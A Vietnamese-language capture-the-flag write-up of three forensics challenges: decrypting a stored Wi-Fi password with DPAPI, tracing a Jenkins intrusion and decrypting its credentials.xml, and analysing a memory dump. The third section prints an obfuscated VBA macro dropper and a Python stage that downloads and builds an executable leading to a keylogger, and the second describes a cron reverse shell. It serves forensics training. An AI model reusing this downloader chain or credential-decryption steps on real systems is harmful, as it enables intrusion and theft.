---
# System prepended metadata

title: L3akCTF 2024 Writeup

---

# L3AKCTF 2024 Writeup

## Forensics

### AiR

![image](https://hackmd.io/_uploads/rJvteJMN0.png)

Chúng ta được cho một folder C nên vì thế đây là một dạng endpoint forensics. Dựa vào đề bài, ta cần tìm password mà máy tính author kết nối.

Làm một chút research, ta thấy rằng khi một mạng wifi được kết nối với máy tính, thông tin bao gồm password, tên wifi,... sẽ được lưu ở ```C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces[Interface Guid]``` 

Tuy nhiên mật khẩu (KeyMaterial) đã bị mã hóa nằm ở trong file xml

![image](https://hackmd.io/_uploads/BJiRZyGVR.png)

Sau một thời gian nghiên cứu, mình biết rằng nó được mã hóa bằng Data Protection API (DPAPI) của Windows.

![image](https://hackmd.io/_uploads/Bk0dzkf4A.png)

Như ở sơ đồ trên, ta thấy rằng để decrypt thì ta cần User's master key nằm ở folder ```%APPDATA%/\Roaming\Microsoft/Protect/``` và System's master key nằm ở folder ```%WINDIR%/System32/Microsoft/Protect```

Ta sẽ sử dụng [tool](https://github.com/tijldeneut/dpapilab-ng/blob/main/wifidec.py) để decrypt nếu có đầy đủ các folder chứa master key ở trên.

```
C:\Users\tamin\Downloads>python wifidec.py --system D:\C\Windows\System32\config\SYSTEM --security D:\C\Windows\System32\config\SECURITY --masterkey D:\C\Windows\System32\Microsoft\Protect\S-1-5-18\User D:\C\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces
```

![image](https://hackmd.io/_uploads/BJ5lUkGNC.png)

> Flag : L3AK{BL0b_D3crypt1n9_1s_n0_n3w_t0_u_r1ght?}

### Impostor

![image](https://hackmd.io/_uploads/HywPIkz4A.png)

Chúng ta có một file pcap và một file auth.log

![image](https://hackmd.io/_uploads/S135IJGEA.png)

Cùng phân tích file pcap trước. Sử dụng Protocal Hierachy ta thấy có 3 protocal chính : TCP, Websocket và HTTP

![image](https://hackmd.io/_uploads/HJrJDyfEA.png)

Ở tcp stream 0, ta thấy có một request với tên là jenkins-cli.jar

![image](https://hackmd.io/_uploads/Byt4Dkz4R.png)

Mình tìm hiểu sơ qua thì Jenkins là một open-source được viết bởi Java có các tác vụ hỗ trợ tự động hóa.

Ở tcp stream 1, ta thấy một response trả về giống như nội dung trong file etc/passwd

![image](https://hackmd.io/_uploads/ByYRv1MVR.png)

Mình chuyển qua follow Websocket vì websocket dựa trên tcp cho chúng ta biết nội dung truyền tải giữa client và server một cách liên tục

Đúng như dự đoán, attacker đang đọc nội dung file etc/passwd

![image](https://hackmd.io/_uploads/BJ5BdJzE0.png)

Tiếp tục follow websocket, ta thấy một request gì đó liên quan đến masterkey

![image](https://hackmd.io/_uploads/Hyx_d1zNR.png)

Tiếp tục follow, ta thấy có một response trả về file credentials.xml

![image](https://hackmd.io/_uploads/rJyidkMVA.png)

Vậy ta có thể hình dung sơ qua kịch bản như sau. Attacker đã RCE thành công vào server của victim thông qua Jenkins, sau đó đọc etc/passwd, ```/var/lib/jenkins/secrets/master.key``` và ```/var/lib/jenkins/credentials.xml``` 

Ở trong file credentials.xml này, có phần khá sus nên nghĩ rằng nếu decode được nó ra thì có thể sẽ biết được gì đó xD

![image](https://hackmd.io/_uploads/B1JKKkMEA.png)

Lên google thì biết rằng để decrypt nội dung trong ```/var/lib/jenkins/credentials.xml``` ta cần có master.key và ```/var/lib/jenkins/secrets/hudson.util.Secret```, sau đó thì dùng [tool](https://github.com/tarvitz/jenkins-utils) này để decrypt

Masterkey đã có rồi, giờ ta cần tìm hudson.util.Secret thôi. 

Follow nốt websocket stream, ta thấy part 1 của flag

![image](https://hackmd.io/_uploads/HkqXo1GVR.png)


> Part 1 : 1s_0n_3dg

Ở tcp stream 55, ta thấy một đoạn base64 khá sus

![image](https://hackmd.io/_uploads/r1OFs1GVR.png)

Tuy nhiên decode ra thì ra một đoạn text gì đó

![image](https://hackmd.io/_uploads/HkxOoo1GVA.png)

Sau khi google một hồi thì mình biết được rằng file ```/var/lib/jenkins/secrets/hudson.util.Secret``` trong Jenkins không thể đọc được dưới dạng văn bản thông thường vì nó chứa một khóa bí mật (secret key) được mã hóa. Vì vậy rất có khả năng đây là file đó nên mình sẽ note nó lại.

Giờ qua mở file auth.log xem có gì hot

Sau khi lướt qua một lượt, mình thấy rằng có một điểm khá sus. Có vẻ attacker đang cố bruteforce vào user sparkle

![image](https://hackmd.io/_uploads/H10ihyMVC.png)

Nhưng sau một thời gian, thì cuối cùng attacker cũng đã login được vào user này

Ở đây chúng ta có thể thấy khá rõ attacker đang đọc file hudson.util.Secret ở dạng base64, sau đó curl một file data.bin ở base58 và thực thi nó

![image](https://hackmd.io/_uploads/rJCLTkfE0.png)

Follow tiếp tcp stream và ta có được nội dung file data.bin. Decode base58 thì ra một cron json

![image](https://hackmd.io/_uploads/S1O56JMNC.png)

![image](https://hackmd.io/_uploads/B1W2T1zVC.png)

Ta có thể thấy script bash này đang sử dụng cron tab để reverse shell đến ip 192.168.222.151/1337 

Decode cron_name ta được flag thứ 2

> Part 2 : E_30d84d801b2947f1bd2faae4fdcbb926}

![image](https://hackmd.io/_uploads/HJ--0Jf4C.png)

Vì đã có masterkey và hudson secret. Ta sử dụng tool để decrypt thôi

![image](https://hackmd.io/_uploads/ByYEAkG4R.png)

```C:\Users\tamin\OneDrive\Máy tính\jenkins-utils-master\jenkins-utils-master>python invoke.py --master-key master.key --hudson-secret-key hudson.util.Secret  --action decrypt "{AQAAABAAAAAgZv2vv4JB/AgWN1I47+8m9yZ+me7oTd6xvWNvtk5vJcx6UTPCzAvPcL3ugFrzQ0L+}"```

Decode base64 ta ra flag

> FLAG : L3AK{J3nk1n$_1s_0n_3dgE_30d84d801b2947f1bd2faae4fdcbb926}

### The Spy

![image](https://hackmd.io/_uploads/S1YpCJGVR.png)

Ở bài này, sử dụng volatility3 để phân tích memory dump. Sử dụng pslist để kiểm tra sơ bộ.

Mình thấy có process khá lạ với tên là Soffice.bin

![image](https://hackmd.io/_uploads/r1_mygfEC.png)

Dump process và đem lên virustotal, đây là một process của Libreoffice

Sử dụng filescan plugin để grep các file .doc, mình thấy có một file .doc khá khả nghi

![image](https://hackmd.io/_uploads/SJUn1xzV0.png)

Dump file này ra rồi sử dụng olevba để kiểm tra thì có macro

```python
Private Declare PtrSafe Function a1AaQ Lib "urlmon" Alias "URLDownloadToFileA" ( _
    ByVal b1BbQ As LongPtr, _
    ByVal c1CcQ As String, _
    ByVal d1DdQ As String, _
    ByVal e1EeQ As Long, _
    ByVal f1FfQ As LongPtr) As Long

Public Function b1BbR(c1CcR As String) As String
    Dim d1DdR As Integer
    Dim e1EeR As Integer
    Dim f1FfR As String

    If Len(c1CcR) = 0 Or Len(c1CcR) Mod 2 <> 0 Then Exit Function

    d1DdR = Len(c1CcR)

    For e1EeR = 1 To Len(c1CcR)
        If e1EeR Mod 2 <> 0 Then
            f1FfR = f1FfR & Chr$(Val("&H" & Mid$(c1CcR, e1EeR, 2)))
        End If
    Next

    b1BbR = f1FfR
End Function

Sub c1CcS()
    Dim d1DdS As String
    Dim e1EeS As String
    Dim f1FfS As String
    Dim g1GgS As String
    Dim h1HhS As Long
    Dim username As String

    username = Environ("USERNAME")
    d1DdS = "68747470733n2s2s64726976652r676s6s676p652r636s6q2s66696p652s642s31764573414o44663731647763336267426s723238326o4p546173626p333348532s766965773s7573703q73686172696r67"

    e1EeS = j2JjS(d1DdS)

    f1FfS = b1BbR(e1EeS)

    g1GgS = "C:\Users\" & username & "\AppData\Local\pp.py"

    h1HhS = a1AaQ(0, f1FfS, g1GgS, 0, 0)

    If h1HhS = 0 Then
        MsgBox "File downloaded successfully.", vbInformation
        ' Run the Python script
        RunPython
    Else
        MsgBox "Failed to download file.", vbExclamation
    End If
End Sub

Function j2JjS(k2KkS As String) As String
    Dim l2LlS As String
    Dim m2MmS As Integer
    For m2MmS = 1 To Len(k2KkS)
        Select Case Asc(Mid(k2KkS, m2MmS, 1))
            Case 65 To 77, 97 To 109
                l2LlS = l2LlS & Chr(Asc(Mid(k2KkS, m2MmS, 1)) + 13)
            Case 78 To 90, 110 To 122
                l2LlS = l2LlS & Chr(Asc(Mid(k2KkS, m2MmS, 1)) - 13)
            Case Else
                l2LlS = l2LlS & Mid(k2KkS, m2MmS, 1)
        End Select
    Next m2MmS
    j2JjS = l2LlS
End Function

Sub RunPython()
    Dim PythonExe As String
    Dim PythonScript As String
    Dim Command As String
    Dim username As String

    username = Environ("USERNAME")

    PythonExe = "C:\Users\" & username & "\AppData\Local\Microsoft\WindowsApps\python3.exe"
    PythonScript = "C:\Users\" & username & "\AppData\Local\pp.py"
    Command = PythonExe & " " & PythonScript

    Shell Command, vbNormalFocus
End Sub
```

Đọc qua thì ta biết có vẻ nó đang download và giải mã để tạo ra file pp.py và thực thi nó

Viết một đoạn script python để extract file pp.py

```python
import requests

def rot13(s):
    result = []
    for char in s:
        if 'A' <= char <= 'M' or 'a' <= char <= 'm':
            result.append(chr(ord(char) + 13))
        elif 'N' <= char <= 'Z' or 'n' <= char <= 'z':
            result.append(chr(ord(char) - 13))
        else:
            result.append(char)
    return ''.join(result)

def hex_to_ascii(hex_string):
    bytes_object = bytes.fromhex(hex_string)
    return bytes_object.decode('ascii')

# Chuỗi đã mã hóa
encoded_string = "68747470733n2s2s64726976652r676s6s676p652r636s6q2s66696p652s642s31764573414o44663731647763336267426s723238326o4p546173626p333348532s766965773s7573703q73686172696r67"

# Giải mã sử dụng ROT13
decoded_rot13 = rot13(encoded_string)

# Loại bỏ các ký tự không hợp lệ cho chuỗi hex
clean_hex = ''.join([c for c in decoded_rot13 if c in '0123456789abcdefABCDEF'])

# Chuyển đổi từ chuỗi hex thành chuỗi ASCII (URL)
url = hex_to_ascii(clean_hex)

response = requests.get(url)
if response.status_code == 200:
    content = response.content

    with open("pp.py", "wb") as file:
        file.write(content)
    print("lưu pp.py")

```

Mở file pp.py lên ta được script python sau: 

```python
import os
import requests

def download_file_from_google_drive(file_id, destination):
    URL = "https://docs.google.com/uc?export=download"

    session = requests.Session()

    response = session.get(URL, params={'id': file_id}, stream=True)
    token = get_confirm_token(response)

    if token:
        params = {'id': file_id, 'confirm': token}
        response = session.get(URL, params=params, stream=True)

    save_response_content(response, destination)

def get_confirm_token(response):
    for key, value in response.cookies.items():
        if key.startswith('download_warning'):
            return value
    return None

def save_response_content(response, destination):
    CHUNK_SIZE = 32768

    with open(destination, "wb") as f:
        for chunk in response.iter_content(CHUNK_SIZE):
            if chunk:
                f.write(chunk)

def hex_to_binary(hex_str):
    return bytes.fromhex(hex_str)

def save_binary_to_file(binary_data, file_path):
    with open(file_path, 'wb') as file:
        file.write(binary_data)

def reverse_hex_conversion(file_path, output_file):
    with open(file_path, 'r') as file:
        hex_content = file.read().strip()
    binary_data = hex_to_binary(hex_content)
    save_binary_to_file(binary_data, output_file)

def run_retrieved_file(file_path):
    os.system(file_path)

if __name__ == "__main__":
    # Download the file and save it as file_hex.txt
    file_id = "1lTEbD37UC7B7tIRoAEQ1YK6niLQHGZt0"
    input_file = "file_hex.txt"
    download_file_from_google_drive(file_id, input_file)
    
    # Convert hex to binary and save it as L3AK.exe
    output_file = "L3AK.exe"  
    reverse_hex_conversion(input_file, output_file)
    
    # Execute the retrieved file
    
    print("File retrieved and executed as L3AK.exe")

```

Cùng phân tích qua một chút, hàm download_file_from_google_drive nhận 2 tham số truyền vào là file_id và destination

Trở lại hàm run_retrieved_file, ta thấy rằng nó gọi hàm download_file_from_google_drive với 2 parameters là file_id và input_file với : 

> file_id = "1lTEbD37UC7B7tIRoAEQ1YK6niLQHGZt0"
input_file = "file_hex.txt"

file_id nhìn rất giống với phần url id của drive.google.com nên mình paste thử thì ra một đoạn hex

![image](https://hackmd.io/_uploads/HJQXGxGNA.png)

![image](https://hackmd.io/_uploads/r1UVzlfE0.png)

Có đủ 2 tham số rồi ta sẽ tạo ra được một file L3AK.exe

Sử dụng pyinstxtractor để reverse file python này, ta được file keylogger.pyc

![image](https://hackmd.io/_uploads/SJKdzgzEC.png)

Tuy nhiên khi mình ném lên decompiler online thì không thể decrypt được file pyc này ??? Khá khó hiểu nên mình thử strings thì thấy một link webhook cùng một đoạn base64

![image](https://hackmd.io/_uploads/ryRhGgz40.png)

Decode đoạn base64, ta có một url tới channel discord, flag nằm ở trong channel luôn

![image](https://hackmd.io/_uploads/H1yJmef4R.png)


> Flag : L3AK{D1sc0rd_WebH00ks_4re_C001}

